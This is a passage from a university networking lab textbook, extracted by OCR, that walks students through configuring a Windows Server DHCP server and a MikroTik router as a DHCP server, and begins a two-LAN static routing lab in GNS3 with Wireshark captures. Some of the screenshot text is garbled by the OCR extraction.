4 Create a server group

5 Connect this server to cloud services
Hide

L\\) LEARN MORE

ROLES AND SERVER GROUPS

Roles:3 | Servergroups:1 | Servers total: 1
] 4]
B DHCP 1 = DNS 1
@ Manageability @ Manageability

Events Events
Services Services
Performance Performance
BPA results BPA results

ﬂ L Type here to search i P . wm @3 ds

Figure 3 - Windows Server Manager Dashboard

NOTE: If the Server Manager does not start on boot, can open it via the Windows Start menu.

3. On the left side of the page, select the Local Server option
4. Assign the IP address 200.200.200.254 to the local ethernet interface

4.1. Under the PROPERTIES table,left-click on the Ethernet option (Figure 4) !


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/draft_lab8_Figure4.jpg
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NOTE: This is located beneath NIC Teaming and above Operating system version.

4.2. Right-click on the network interface you want to use (e.g. “Ethernet”) and select Properties
in the context menu (Figure 5) !

4.3. A new sub-window labeled Ethernet Properties should appear
4.3.1. Uncheck Internet Protocol Version 6 (TCP/IPv6) !
4.3.2. Check and highlight the Internet Protocol Version 4 (TCP/IPv4) option !
4.3.3. On the bottom right corner, click on Properties (Figure 6) !

4.4. A new sub-window labeled Internet Protocol Version 4 (TCP/IPv4) Properties should appear
(Figure 7) !

4.4.1. Select Use the following IP address
4.4.1.1. Enter 200.200.200.254 as the IP address '
4.4.12. Enter 255.255.255.0 as the Subnet mask '
4.4.1.3. Enter 200.200.200.1 as the Default gateway '
4.4.2. Select Use the following DNS server addresses
4.42.1. Enter 200.200.200.254 as the Preferred DNS server '
4.42.2. Leave the Alternate DNS server blank '
4.4.3. Click OKto apply these settings !
4.4.4. Click Close to return to the Network Connections window

4.5. Close the Network Connections window

5. Restart Windows Server

Phase Il - Setup the DHCP Server


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/draft_lab8_Figure5.jpg
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/ethernetproperties2.jpg
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/etherconfig2.jpg

WINDOWS DHCP SERVER 367

Windows Server is capable of many functions and is very customizable. Therefore, to minimize installation
times, Windows Server on initial installation does not come with many features activated. We will need to activate
and configure Windows Active Directory and DHCP services.

1. Focus on the Server Manager dashboard window 2
2. Inthe top right-hand corner of the screen, select Manage 2
3. Select Add Roles and Features from the context menu 2
4. A popup window labeled Add Roles and Features Wizard will open (Figure 8)
4.1. Before you Begin - Click Next 2
2

4.2. Installation Type - Select the Role-Based option - then click Next (Figure 9)

4.3. Server Selection - Select your local server (this should be the only option) then click Next
(Figure 10) ?

4.4, Server Roles - select DHCP Server 2

4.4.1. POP-UP - Add Features - Select Add Features towards the bottom of the new
screen (Figure 11) 2

4.4.2. Return back to Server Roles - Click Next
4.5. Features - Click Next °
4.6. DHCP Server - Click Next *
4.7. Confirmation - Click Install >

4.8. Once installation is complete click on the blue text that states Complete DHCP Configuration
(Figure 12) 2

5. POP-UP - DHCP Post-Install Configuration Wizard
5.1. Description - Click Next 2

5.2. Authorization - Click Commit 2

NOTE: The default authorization should be set to use Administrator credentials. If it doesn't,
you've done something wrong and need to restart.
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5.3. Summary - Click Close 2
6. Return to Rolls and Features Wizard
6.1. Results - Click Close 2

7. Restart Windows Server

Phase IV - Configure DHCP

DHCP is widely flexible. In this lab, we are going to assign a range of IP addresses that can be used by end
devices connecting to our network without a manually configured IP address.

1. Focus on the Server Manager dashboard window
2. Inthe top right-hand corner of the screen, select Tools 2
3. From the drop-down menu, select DHCP 2
4. A new sub-window labeled DHCP should appear
4.1. Expand the local computer forest (Figure 13) 2
4.2. Right-click on the IPv4 option and select New Scope from the context menu (Figure 14) 2
5. The New Scope Wizard window will open
5.1. Scope Wizard Welcome - Click Next (Figure 15) 2
5.2. Scope Name (Figure 16)
5.2.1. Add a name such as Scope 2
5.2.2. The description field can be left blank
5.2.3. Click Next *
5.3. IP Address Range (Figure 17) >

5.3.1. Start IP address - 200.200.200.20

5.3.2. End IP address - 200.200.200.250


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/draft_lab8_Figure13.jpg
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5.3.3. Length - 242
5.3.4. Subnet mask - 255.255.255.0
5.3.5. Click Next
5.4. Add Exclusion and Delay - Click Next 2
5.5. Lease Duration (Figure 18) 2
5.5.1. Limited to 8 hours 2
5.5.2. Click Next
5.6. Configure DHCP °
5.6.1. Select Yes
5.6.2. Click Next
5.7. Router (Default Gateway) (Figure 19)
5.7.1. IP address - 200.200.200.1
5.7.2. Click Add
5.7.3. Click Next
5.8. Domain Name and DNS Servers - Click Next °
5.9. WINS Servers - Click Next
5.10. Activate Scope
5.10.1. Click Yes *
5.10.2. Click Next
5.11. Click Finish
6. Notice that Scope now appears under the DHCP>machine_name>IPv4 tree (Figure 20)

7. Close the DHCP window
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Phase V - Watch DHCP in Action

This lab is an opportunity for you to see these activities in action without the chaff that exists on an existing
enterprise network.
. DHCP automatically assigns an IP address to interfaces requesting one.

+  ARP is for interfaces that already have an IP address, but the interface needs to tell all of the other
interfaces on the network.

1. Navigate back to GNS3
2. Start a Wireshark capture on the Server-Switch link
3. Start PC1 and open its console

3.1. Request a new IP address

> ip dhcp

3.2. Notice the four main DHCP packets being exchanged in Wireshark that were discussed in
the previous chapter: Discover, Offer, Request, Accept

4. Start PC2 and open its console

4.1. Request a new IP address

> ip dhcp

5. Ensure that PC1 is able to ping PC2

6. Congratulations! You now know how to configure a basic DHCP server on both Linux and Windows
machines

End of Lab

Deliverables

4 screenshots are needed to receive credit for this exercise:
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. Wireshark - DHCP Packets for PC2
. Wireshark - DHCP Packets for PC3
. GNS3 Workspace with 2 PCs, switch, and DHCP server - all devices labeled with their IP addresses

+  Configuration settings of Windows Server DHCP

Assignment 1 - Combined network traffic watching

+  Turn off all devices
o Replace the switch with a hub and reconnect all devices

. Monitor any of the PCs with Wireshark and capture ARP, DHCP, and ICMP packets for all three PC's
as you turn devices back on

c RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 environment with everything labeled
o Screenshot of DHCP for one PC
o Screenshot of ICMP for one PC

Assignment 2 - Reconfigure the DHCP server

. Figure out the number of devices that can be attached to the switch

. Generate a random [P address and choose a subnet that will allow the use of all the switch
connections with as few wasted IP addresses as possible

o Reconfigure the network to use these new network addresses

. Reconfigure the DHCP settings to issue IPv4 address in this new space

RECOMMENDED GRADING CRITERIA

o Screenshot of the DHCP configuration
o Screenshot of the GNS3 workspace

o Screenshot of DHCP of one PC

o Screenshot of ICMP of one PC

371
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Figures for Printed Version

fa Server Manager

Server Manager * Local Server

i PROPERTIES

Dashboard For WIN-ATQUPI7TINDG | TASKS ¥ |
- |
- Computer name WIN-A7QIPJTINDE Last installed updates Never
| All Servers Workgroup NORKGROUP Windows Update Download updates only
ii DHCP Last checked for updates MNever
g8 DNS
ii File and Storage Services P Microsoft Defender Firewall Public: On Microsoft Defender Antivirus Real-Time Protection: J
Remote management Enabled Feedback & Diagnostics Settings
Remote Desktop Disabled IE Enhanced Security Configuration On
NIC Teaming Disabled Time zone (UTC-08:00) Pacific Tim
I} Ethernet Assigned by DHCP Product ID Not activated
Operating system version Microsoft Windows Server 2022 Standard ~ Processors 11th Gen Intel(R) Core(]
Hardware information innotek GmbH VirtualBox Installed memaory (RAM) 4GB
Total disk space 49,39 GB

EVENTS -
All events | 16 total TASKS ¥ |
Filter o - (v
Server Name M Sevenity Source Log Date and ﬁl"‘le

WIN-ATQIPITINDE 8198  Error
WIN-ATQIRITINDE 1014
WIN-ATQIPITINDG 8198  Error

Microsoft-Windows-Security-SPP Application  6/16/2023 3:40:28 PM
Warning Microsoft-Windows-DMS Client Events  System 6/16/2023 3:40:24 PM

Application  6/16/2023 3:37:35 PM

Microsoft-Windows-Security-SPP

ﬂ £ Type here to search

Figure 4 - Select the ethernet option
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& Network Connections . O x
1 E*’ « Metwork and Internet » MNetwork Connections » v | O p
Organize - Disable this network device Diagnose this connection Rename this connection  » ::-IZ ~ [N
"-.- Ethernet
S ldentifying...
G Intel(R)
®) Disable
Status
Diagnose

Bridge Connections

Create Shortcut

Qe (@

Delete
Rename
Properties
[,
()
1 itern 1 itern zelected fi== =

Figure 5 - Network Connections window
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U Ethernet Properties X

Metworking

Connect using:
II? Intel{R}) PRO/1000 MT Deskiop Adapter

This connection uses the following tems:

¥ Client for Microsoft Networks ~
ﬂ? File and Printer Sharing for Microsoft Networks

Q05 Packet Scheduler

'l Intemet Protocol Version 4 (TCP/1Pwd)
O . Microsoft Network Adapter Muttiplexor Protocal
& Microsoft LLOP Protocol Driver

O 4 Intemet Protocol Version & (TCP/IPvE) W

£ >
I.r.15ta||... Liningtall | Propertigs |

Description b

Transmission Control Protocol Intemet Protocol. The default
wide area network protocal that provides communication
across diverse interconnected netwarks.

OK || Cancel

Figure 6 - Ethernet Properties window



WINDOWS DHCP SERVER 375

Internet Protocel Version 4 (TCP/IPwd) Properties >
General

You can get IP settings assigned automatically if your network supports
this capability. Otherwise, you need to ask your network administrator
for the appropriate IF settings.

(") Obtain an IP address automatically
(@) Usze the following IP address:

IF address: | 200 . 200 . 200 . 254 |
Subret mask: | 255.955.255. @ |
Default gateway: | 200.200.200. 1 |

Obtain DMS server address automatically

(@) Use the following DNS server addresses:

Preferred DMS server: | 200 . 200 . 200 . 254 |

Alternate DNS server: | ; g ; |

[] validate settings upon exit P

Corcel

Figure 7 - IPv4 Properties window
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: e Add Roles and Features Wizard — | X

i

! . DESTINATION SERVER
BE]CO re y'OU beg 1N WIN-D0840L5IBUP

This wizard helps you install roles, role services, or features, You determine which roles, role services, or
features to install based on the computing needs of your organization, such as sharing documents, or
Installation Type hosting a website.

|
| Before You Begin
i

Seryver Selection )
To remove roles, role services, or features:
Start the Remove Roles and Features Wizard
I Before you continue, verify that the following tasks have been completed:

I * The Administrator account has a strong password
* Metwork settings, such as static IP addresses, are configured
* The most current security updates from Windows Update are installed

If you rmust verify that any of the preceding prerequisites have been completed, close the wizard,
complete the steps, and then run the wizard again.

To continue, click Next.

[] skip this page by default

< Previous | Install Cancel

Figure 8 - Before you begin screen
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I Add Roles and Features Wizard — | X
- ; DESTIMATION SERVER
Select installation type WIN-00843L SIBUP

Select the installation type. You can install roles and features on a running physical computer or virtual
machine, or on an offline virtual hard disk (VHD).

Before You Begin

i Installation Type

i T — ® Role-based or feature-based installation

i Configure a single server by adding roles, rele services, and features.

!! ) Remote Desktop Services installation

a Install required role services for Virtual Desktop Infrastructure (VDI) to create a virtual machine-based
H or session-based desktop deployment.

< Previous | | MNext = | Install

Figure 9 - Installation type screen
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! i Add Roles and Features Wizard — Od =
i
I . - DESTIMATION SERVER
Select destination server WiN-9382315150P
i
| Before You Begin Select a server or a virtual hard disk on which to install roles and features.
i Inszallation Type ® Select a server from the server pocl
sarver selection i) Select a virtual hard disk
Server Roles Server Pool
! Featurss
Filter:
|
MNarme IP Address Operating System

WIN-998491 5IBUP 169.254.11216... Microsoft Windows Server 2022 Standard

1 Computer(s) found

This page shows servers that are running Windows Server 2012 or a newer release of Windows Server,
and that have been added by using the Add Servers command in Server Manager. Offline servers and
newly-added servers from which data collection is still incomplete are not shown.

‘ < Previous | | Next > | Install |

Figure 10 - Server Selection screen
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379

.':A‘}' | I' Manage Tocls View H
=) A

i PROPERTIES

For WIN-99843L 5IBUP TASKS -
| f5 All Servers - U X bs onl
i§l ADDsS
| & DNs Select server roles _ N S08A0L5180
! ii File and Storage Seq & Add Roles and Features Wizard » iion a
Add features that are required for DHCP Server?
1 ption i
The fo!k.'-W||:1g tools are required to manage this feature, but do not ic Host Configuratian
have to be installed on the same server, 1 (DHCP) S
! erver Roles pl J_ erver enables you
[ 4 Remote Server Administration Tools ratlly conflgulr;, rcr;;nage, andd
| 4 Role Administration Tools [ efmpor:ry P 2 l.restses S
E [Tools] DHCP Server Tools tlenr:rma 1acarlien i9-10
H
[~
Include management tools (if applicable) :
({ v

Figure 11 - Select add features

‘ Add Features ‘ ‘ Cancel

Mext >

< Previous

Install
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@ *  Server Manager * Local Server © Manzge  Tools

_ B PROPERTIES
iE% Dashboard . For WIN-398491 SIBUP

ii All Servers [ Add Roles and Features Wizard . O X lson
i§ ADDS
= . N DESTINATION SERVER
T8 pHcP Installation progress WiN.084015130p
& DNS ion: €
ii File and Storage Ser View installation progress
o Feature installation g
Configuration required. Installation succeeded on WIN-998481SIBUP.
DHCP Server
L\\—‘, Launch the DHCP post-install wizard St
Complete DHCP configuration
Remeote Server Administration Tools
Role Administration Tools
DHCP Server Tools
-
You can close this wizard without interrupting running tasks, View task progress or open this
1] page again by clicking Notifications in the command bar, and then Task Details.
Export configuration settings
< Previous Next > Cancel
I |

Figure 12 - Click Complete DHCP configuration
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F DHCP
File Action View Help

«=%|m=zHE 8

¥ DHCP
v 3 win-99849I5ibup
v G IPvd
(.5 Server Options
4| Policies
5 [#| Filters

> 3 IPv6

Contents of DHCP
 win-9924915ibup

Figure 13 - Expand the local computer

Mare Actions »
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% DHCP - O x
File Action View Help
«=% | F = H&E 8
@ DHCP Contents of DHCP S| Actions
v B win-99849I5ibup 3 win-9984915ibup DHCP i
W jg [Pw” e
= Display Statistics... Mare Actions 9
£ = Mew Multicast Scépe...
> i [P
Configure Failover... i
Replicate Failover Scopes...
Define User Classes...
Define Vendor Classes...
Reconcile All Scopes...
Set Predefined Options...
>
T Refresh
Create a new s
e 1 | Servers total: 1
Help |

Figure 14 - Create a new scope
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@ Windows Server 2022 for GN5S3 [Running] - Oracle VM VirtualBox

File Machine View Input Devices

h
File Action View Help

e= nHEC H

Help

383

FF DHCP

~v | win-9984915ibup

v 3 IPvd
-3 Server Options
2| Policies

¥| Filters
:3 IPvE

Mew Scope Wizard

Welcome to the New Scope
Wizard

This wizard helps you set up a scope for distributing IP
addresses to computers on your network.

To continue, click Next.

Cancel

Figure 15 - Welcome to New Scope Wizard Screen
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4 R i . ity i - ? s i =
Mew Scope Wizard
Scope Name ——
You have to provide an identifying scope name. You also have the option of providing
a description.

Type a name and description for this scope. This information helps you quickly identify
how the scope is to be used on your network.

Mame: iSCUDEﬂ

Description: |

« Back Mext = Cancel

Figure 16 - Scope Name Screen
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Mew Scope Wizard

IP Address Range o
fou define the scope address range by identifying a set of consecutive IP addresses.

—Configuration settings for DHCP Server

Enter the range of addresses that the scope distributes.

Start IP address: ]201} 200 .200. 20

End IP address: | 200 . 200 . 200 . 250

— Configuration settings that propagate to DHCP Client

Length: I 24‘_%
Subnet mask: |255255 0

<.E.Iar.::k : Mext = . .Eéncei

Figure 17 - IP Address Range Screen
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Mew Scope Wizard
Lease Duration —
The lease duration specifies how long a client can use an P address from this scope.

Lease durations should typically be equal to the average time the computer is
connected to the same physical network. For mobile netwarks that consist mainhy of
portable computers or dialup clients, shorter lease durations can be useful.
Likewise, for a stable network that consists mainly of desktop computers at fixed
|ocations, longer lease durations are more appropriate.

Set the duration for scope leases when distibuted by this server.

Limited to:

Days: Hours: Minutes:
| = |

E= K= K5

< Back Mext = Cancel

Figure 18 - Lease Duration screen
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Mew Scope Wizard
Router (Default Gateway) e
You can specify the routers, or default gateways, to be distributed by this scope.

To add an IP address for a router used by clients, enter the address below.

|P address:

| ENE . 200 . 200 . 1 Add
Remove
Up

Drowry |

<Back | MNet> | | Cancel

Figure 19 - Default Gateway screen
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P DHCP - O ot
File Action View Help

a«=|m = E 8

@ DHcP Contents of DHCP

v § win-29849i5ibup 5 win-9984915ibup

v i = More Actions [ ]

y [] Scope[200.200.2
[.5 Server Options
4] Policies

5 [#| Filters

> 3 IPv6

Figure 20 - Completed scope
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CHAPTER 20

Dynamic Host Configuration Protocol - MikroTik CHR

JACOB CHRISTENSEN

Thus far, we've explored two approaches to integrating DHCP servers into a network using both Linux and

Windows as dedicated servers. This chapter introduces yet another method for deploying DHCP, in the form of a

router. This proves particularly handy in scenarios where a quick and easy solution is required. Configuring DHCP

in this manner offers rapid deployment and simplicity, making it ideal fit smaller network environments.
Estimated time for completion: 10 minutes

LEARNING OBJECTIVES

+ Successfully deploy a DHCP solution using a MikroTik router on an enterprise network
+ Capture and Observe DHCP packets using Wireshark
« Capture and Observe ARP packets using Wireshark

+ Successfully add hosts to an enterprise network and receive IP addresses automatically

PREREQUISITES

+ Chapter 16 - Introduction to Routers

DELIVERABLES

Five screenshots are required:

* Neatly labeled and organized GNS3 workspace
+ MikroTik router configuration
+ Screenshot of Wireshark

o DHCP packets for PC1

o DHCP packets for PC2

o PC1 pinging PC2

389
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RESOURCES

* MikroTik RouterOS Documentation - “DHCP Server” - https://help.mikrotik.com/docs/display/ROS/
DHCP#DHCP-Summary.2

CONTRIBUTORS AND TESTERS

+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

Phase | -Build the Network Topology

The following steps are to create a baseline environment for completing the lab. It makes assumptions about
learner knowledge from completing previous labs.
Your final network will look like the following:

Purple LAN PC2
178.58.58.0/24

DHCP-SERVER SWITCH

254

Figure 1 - Final GNS3 network environment

1. Start GNS3
1.1. Create a new project: LAB_06

2. Build a Class C subnet with the network address 178.58.58.0/24
2.1. Two client devices - VPCS
2.2. One switch - Ethernet switch

2.3. One DHCP server - MikroTik router


https://help.mikrotik.com/docs/display/ROS/DHCP#DHCP-Summary.2
https://help.mikrotik.com/docs/display/ROS/DHCP#DHCP-Summary.2

MIKROTIK DHCP SERVER

NOTE: The MikroTik CHR version used when making this lab was 7.11.3.

2.4. Connect the PCs to the switch

2.5. Connect port ether1 on the router to the switch

3. Label and organize your network as necessary

Phase Il - Configuring the MikroTik Router

Once the network is built we need to configure the router to act as our DHCP server.

1.

Start the MikroTik router and open its console

1.1. Change the hostname to reflect the router’s primary purpose

> system identity set name=DHCP-SERVER

1.2. Remove the default DHCP listener on ether1

> ip dhcp-client remove 0

[admin@ 1 » ip dhcp-client

Columnz: INTERFACE, USEPEER-DNS, ADDFDEFALLT-ROUTE. STATUS
# INTERFACE USE-PEER-DMS ADIHDEFAULT-ROUTE STATUS

0 etherl JEsS earching, ..
[admine * i

[admin@ 1 » ip dhcp-client

[admin@ 11

Figure 2 - Removing the DHCP client

1.3. Assign a static IP address to its running interface

> ip address add address=178.58.58.254/24 interface=etherl

NOTE: In this example, | have ether1 connected to the switch. Remember to adjust this to be
applicable for your environment.

391
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[admin@ » ip add
[admini > ip addre
Columns: ADDRESS, NETWORK. INTERFACE

INTERFACE
etherl

Figure 3 - Assigned IPv4 addresses

1.4. Use the built-in setup wizard to configure the DHCP server (Figure 4)

> ip dhcp-server setup

1.4.1. dhcp server interface: ether1

1.4.2. dhcp address space: 178.58.58.0/24

1.4.3. gateway for dhcp network: 178.58.58.254

1.4.4. addresses to give out: 178.58.58.1-178.58.58.253
1.4.5. dns servers: (none just hit <Enter>)

1.4.6. lease time: 1800

2. Test the DHCP service on the network

2.1. From PC1, request a new host address

> ip dhcp

2.2. From PC2, request a new host address

> ip dhcp

3. From PC1, ping PC2 to test connectivity

End of Lab

Deliverables
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Five screenshots are required to receive credit for this exercise:

*  GNS3 workspace with all devices labeled

. MikroTik router configuration

+  Wireshark capture of PC1 devices getting and receiving DHCP IPv4 addresses
+  Wireshark capture of PC2 devices getting and receiving DHCP IPv4 addresses

+  Wireshark caputre of PC1 pinging PC2

Assignment 1 - Create a LAN for 43 hosts with a Mikrotik DHCP server while minimizing unused IP addresses

. Used a randomized network address

+  There's no need to put in all 43 host just show the setup process for the DHCP server and that it is
working with at least two hosts

c RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 Environment
o Screenshot of end devices receiving IP addresses

o Screenshot of DHCP setup process

Assignment 2 - Use the Mikrotik router as both a DHCP server and a router

. Add another LAN attached to the same Mikrotik router
. Ensure devices on both LANs use the Mikrotik router as a DHCP server
. Ensure devices on both LANs can contact each other

c RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 Environment
o Screenshot of an end device on the first LAN receiving an IP address
o Screenshot of an end device on the second LAN receiving an IP address

o Screenshot of a device on one LAN pinging a device on the other LAN
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Figures for the Printed Version

[ T

elect intertace to rum [HCP server on

Figure 4 - DHCP Server setup wizard
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CHAPTER 21

Static Networking Part 1

MATHEW J. HEATH VAN HORN, PHD AND JACOB CHRISTENSEN

Up to this point, we have only used one router in our working environments. However, you will rarely work on a
network with only a single because the whole point of an enterprise network is to connect multiple LANs into a
unified cohesive network.

In this lab, we will create and connect three LANSs via routers. We introduce you to static routing solutions so
you can become familiar with routing procedures. Static routing is impractical mainly because it is very manpower
intensive to maintain and prone to human error.

Estimated time for completion: 70 minutes

LEARNING OBJECTIVES

+ Successfully create two functional LANSs;:
o Red (DHCP + 2 PCs)
o Blue (DHCP + 2 PCs)

+ Configure two routers to use static routing so all devices can communicate

PREREQUISITES

+ Chapter 16 - Introduction to Routers
+ Chapter 17 - IPv4 Addressing
+ Chapter 18 - DHCP using Linux

DELIVERABLES

+ Screenshot of GNS3 workspace with labels

+ Screenshot of Wireshark IMCP packets showing a Red device successfully pinging a Blue device

RESOURCES

+ MikroTik RouterOS Documentation - “IP Routing” - https://help.mikrotik.com/docs/display/ROS/
[P+Routing
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CONTRIBUTORS AND TESTERS

+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

« Sawyer Hansen, Cybersecurity Student, ERAU-Prescott

You are now going to combine your subnet, DHCP, and router configuration skills to create two networks, each
with their own gateway routers. Your final product should look similar to the following.

RED-GATEWAY BLUE-GATEWAY
RED LAN 4 d 2 ) BLUE LAN
.250 . .250
115.20.20.0/24 -)‘(- -9 L -)‘(- 68.110.45.0/24
BACKBONE
10.10.10.0/ 29

BLUE-SWITCH
«3 >
< «
<
RED-DHCP PC1 PC2 PC3 PCa BLUE-DHCP
.254 A0 A1 A0 A1 .254

Figure 1 - Final GNS3 network environment

Phase | -Build the Network Topology

The following steps are to create the baseline for completing the lab. It makes assumptions about learner
knowledge from completing previous labs. Going forward, we will be using Ubuntu Servers for all network
servicing needs. For those who have limited computational resources, consider using TinyCore as an alternative.

1. Start GNS3

1.1. Create a new project: LAB_07
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2. Build the Red subnet with the following specifications:
2.1. IP address space - 115.20.20.0/24
2.2. Two client machines - VPCS
2.3. One switch - Ethernet switch
2.4. One DHCP server - Ubuntu Server VM (isc-dhcp-server)
2.5. One router - MikroTik CHR
2.6. Connect the server and PCs to their associated switch
2.7. Connect the switch to the router’s ether1 interface

3. Configure the MikroTik router to act as Red'’s gateway

NOTE: Refer to Chapter 16, Phase II, Step 4 for more information.

3.1. Set a new hostname to reflect its new purpose

> system identity set name=RED-ROUTER

3.2. Set ether1 with the IP address 115.20.20.250 for the Red network

> ip address add address=115.20.20.250/24 interface=etherl

3.3. Verify that it was taken

> ip address print

MikroTik Configuration Preface

By default, MikroTik routers will have a DHCP client enabled on interface ether1, which
will automatically request an IP address once the network’s DHCP server is online. To avoid
unnecessary packet traffic (and troubleshooting headaches), disable this client as part of the
router’s setup routine. You can identify interfaces with DHCP clients enabled via the “dynamic”
(D) flag that appears next to its identification number.
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METWORK, INTERFACE
ME TIWORK INTERFACE

=]

(]

Figure 2 - Dynamically assigned IP address

List all DHCP clients currently enabled on the device.
> ip dhcp-client print

@ B
oclumns: INTERFACE, USE-PEER-DNS, ADD-DEFAULT-ROUTE, S
# INTERFACE USE-PEER-DNS ADD-DEFAULT-ROUTE

v |:|

Figure 3 - Default MikroTik DHCP listener

Remove the DHCP client. When editing or deleting entries in RouterOS, you “select” a target
row based on its number (#) in the first column. In this instance, we are removing entry zero.

Figure 4 - Remove default DHCP listener

Verify that all IP addresses are now static. Note that this method can also be used to remove
or edit accidental interface IP assignements. Instead of ip dhcp-client remove #, the syntax
would be ip address remove #, where # represents the row you wish to select.

] ]
clumns: ADDRESS, METWORK, INTERFACE
¥ ADDRESS METWORK INTERFACE
. 1 1 0

Figure 5 - Print currently assigned IP addresses
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4. Configure Ubuntu Server to act as Red’'s DHCP server

NOTE: Refer to Chapter 18, Phase I, Steps 2-7 for more information.

4.1. Assign its Ethernet card with the static IP address of 115.20.20.254/24 and a default
gateway of 115.20.20.250 (ether1 on the Red router)

> sudo vi /etc/netplan/00-installer-config.yaml

the network config weitten by 'Jake M. Christensen'

- to: default
yig: 115.72

version

Figure 6 - Red DHCP server interface configuration

4.2. Apply the configuration

> sudo netplan apply

4.3. Configure the DHCP daemon with a host range of .10 to .150 in addition to a gateway
address to ether1 on the Red MikroTik router

> sudo vi /etc/dhcp/dhcpd.conf
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"Jake M. Christensen'

# This is the mailn DHCF server on this subnet
authoritative;

# Global parameters
default-1 g-11

max-lease-1 1me

# Red subnet
115.

Figure 7 - Red DHCP configuration

NOTE: Notice the addition of option routers in this configuration file. This will automatically
assign a gateway address to DHCP clients.

5. Have each VPCS request a new IP address

> ip dhcp

6. Ensure that all devices within the LAN can ping each other

7. Repeat steps 2 through 6 to build the Blue subnet
7.1. Blue will have the IP address space of 68.110.45.0/24
7.2. The Blue router’s IP on ether1 is 68.110.45.250
7.3. The Blue DHCP server’s static IP is 68.110.45.254

7.4. The Blue DHCP daemon will have the same specifications as Red
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'Jake M. Christenszen'

# This i= the main DHCF serwver on this subnet
authoritative;

Figure 8 - Blue DHCP configuration

8. Label and organize your network as necessary

RED BLUE
115.20.20.0/ 24 68.110.45.0/24

RED-SWITCH RED-GATEWAY L
BLUE-GATEWAY BLUE-SWITCH
™ .250 e
-3 250 ' I o —
('_} -—— = & 1
L 2 &
f 1 \

/TN
Joo | =%

RED-DHCP BLUE-DHCP PC3 PC4
.254 Ad A .254 A0 A1

Figure 9 - GNS3 working environment

Phase Il - Join Networks to their Host LANs

Routers are very similar to post offices. If a letter comes into the post office and the destination address is
within the neighborhood, the post office will hand the letter to another carrier. This is of limited value, but the

router earns its paycheck when the letter needs to go to another neighborhood. The postmaster will find the
most efficient route to get the letter to the right neighborhood.
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To get used to this idea, we are going to configure our routers just to speak to their local “homes” and the post
office in the next neighborhood. We are not worried about efficiencies at this point, let's just get the postmasters
talking. This kind of configuration is called static routing because nothing changes.

1. On the Red router, set ether2 with the static IP address 10.10.10.1/29 for the Backbone network

> ip address add address=10.10.10.1/29 interface=ether?2

NOTE: A backbone is network IP space that is only used by routers to speak to each other. In this
example, we are using 10.10.10.0/29 which has a maximum ofsix host addresses. This while only two
devices (router interfaces) are currently connected on this network, this leaves room for four more
potential devices.

2. On the Blue router, set ether2 with the static backbone IP address 10.10.10.2/29

address=10.10.10.2/29 interface=ether?2

3. Connect Red router’s ether2 interface with Blue router’s ether2 interface

RED BLUE
115.20.20.0/ 24 68.110.45.0/ 24

RED-SWITCH RED-GATEWAY BLUE-GATEWAY

.250 1 2
Y ] O

&« 3
BACKBONE
TN
PC1 PC2

RED-DHCP BLUE-DHCP PC3 PC4
.254 A0 a1 254 .10 a1

Figure 10 - Connected Gateways

Phase Ill - View Capabilities of our Current State

Congratulations! You have built two LANs and connected them together through routers. Or have you?




STATIC ROUTING PART 1

Remember, if a networked device has no idea where to send a data packet, it will discard it. This part of the lab
lets you see this concept in action.

1. Start two Wireshark data captures
1.1. Red-Switch to Red-Router
1.2. Red-Router to Blue-Router

2. Open PC1 and ping Red-Router

> ping 115.20.20.250

2.1. Observe the ICMP packets on the Red-switch to Red-Router Wireshark window

| hﬂﬂp

Source Destination Protocol  Info

115.26.26.11 115.26.20.250 ICMP Echo (ping) reguest
115.20.20.250 115.20.20.11 ICMP Echo (ping) reply
115.26.268.11 115.26.208.258 ICMP Echo (ping) request
115.20.20.250 115.20.20.11 ICMP Echo (ping) reply
115.26.208.11 115.26.20.258 ICMP Echo (ping) request
115.20.20.250 115.20.20.11 ICMP Echo (ping) reply
115.26.26.11 115.26.20.250 ICMP Echo (ping) reguest
115.20.20.250 115.28.26.11 ICMP  Eche (ping) reply
115.26.26.11 115.26.20.250 ICMP Echo (ping) request
115.20.20.250 115.20.20.11 ICMP Echo (ping) reply

Figure 11 - ICMP ping packets

3. Now from PC1, ping Blue-Router

> ping 10.10.10.2

3.1. Observe the ICMP packets on the Red-Router to Blue-Router Wireshark Window

403
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| hﬂﬂp

Source Destination Protocol  Info

115.26.26.11 16.16.16.2 ICMP Echo (ping) request
115.26.26.11 18.16.16.2 ICMP Echo (ping) request
115.268.268.11 18.18.18.2 ICMP Echo (ping) request
115.26.268.11 18.18.18.2 ICMP Echo (ping) request
115.26.268.11 18.18.18.2 ICMP Echo (ping) request

Figure 12 - Failed ICMP ping packets

What happened? What is the problem? Maybe we configured the routers wrong.

4. Open the Red-Router console and ping the Blue-Router by typing

> ping 10.10.10.2

4.1. Observe the ICMP packets on the Red-Router to Blue-Router Wireshark Window

[ [icmpl

Source Destination Protocol  Info

18.18.18.1 18.18.18.2 ICMP Echo (ping) request
18.18.18.2 18.18.18.1 ICMP Echo (ping) reply
18.18.168.1 18.18.18.2 ICMP Echo (ping) request
18.18.18.2 18.10.16.1 ICMP Echo (ping) reply
16.10.16.1 16.16.14.2 ICMP Echo (ping) reguest
18.18.18.2 18.19.16.1 ICMP Echo fpine} reolv

Figure 13 - ICMP ping packets between routers

That worked, so what is the problem?

5. Open the PC1 console and ping the Blue Network DHCP server by typing ping 68.110.45.250

> ping 68.110.45.254

5.1. Observe the ICMP packets on both Wireshark data packet captures
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|| I Jicmp|

Source Destination Protocol  Info

115.20.20.11 68.118.45.254 ICMP Echo (ping) request id-
115.20.28.258 115.26.26.11 ICMP Destination unreachable
115.26.208.11 68.11@.45.254 ICMP Echo (ping) request id-
115.208.28.250 115.28.26.11 ICMP Destination unreachable
115.26.208.11 68.118.45.254 ICMP Echo (ping) request id-
115.28.28.258 115.28.26.11 ICMP Destination unreachable
115.26.268.11 68.118.45.254 ICMP Echo (ping) request id-
115.28.28.250 115.26.26.11 ICMP Destination unreachable
115.20.28.11 68.118.45.254 ICMP Echo (ping) request id-
115.20.28.258 115.26.26.11 ICMP Destination unreachable

Figure 14 - ICMP destination unreachable error

What do you see? What is happening?

Phase IV - Configure the Routers

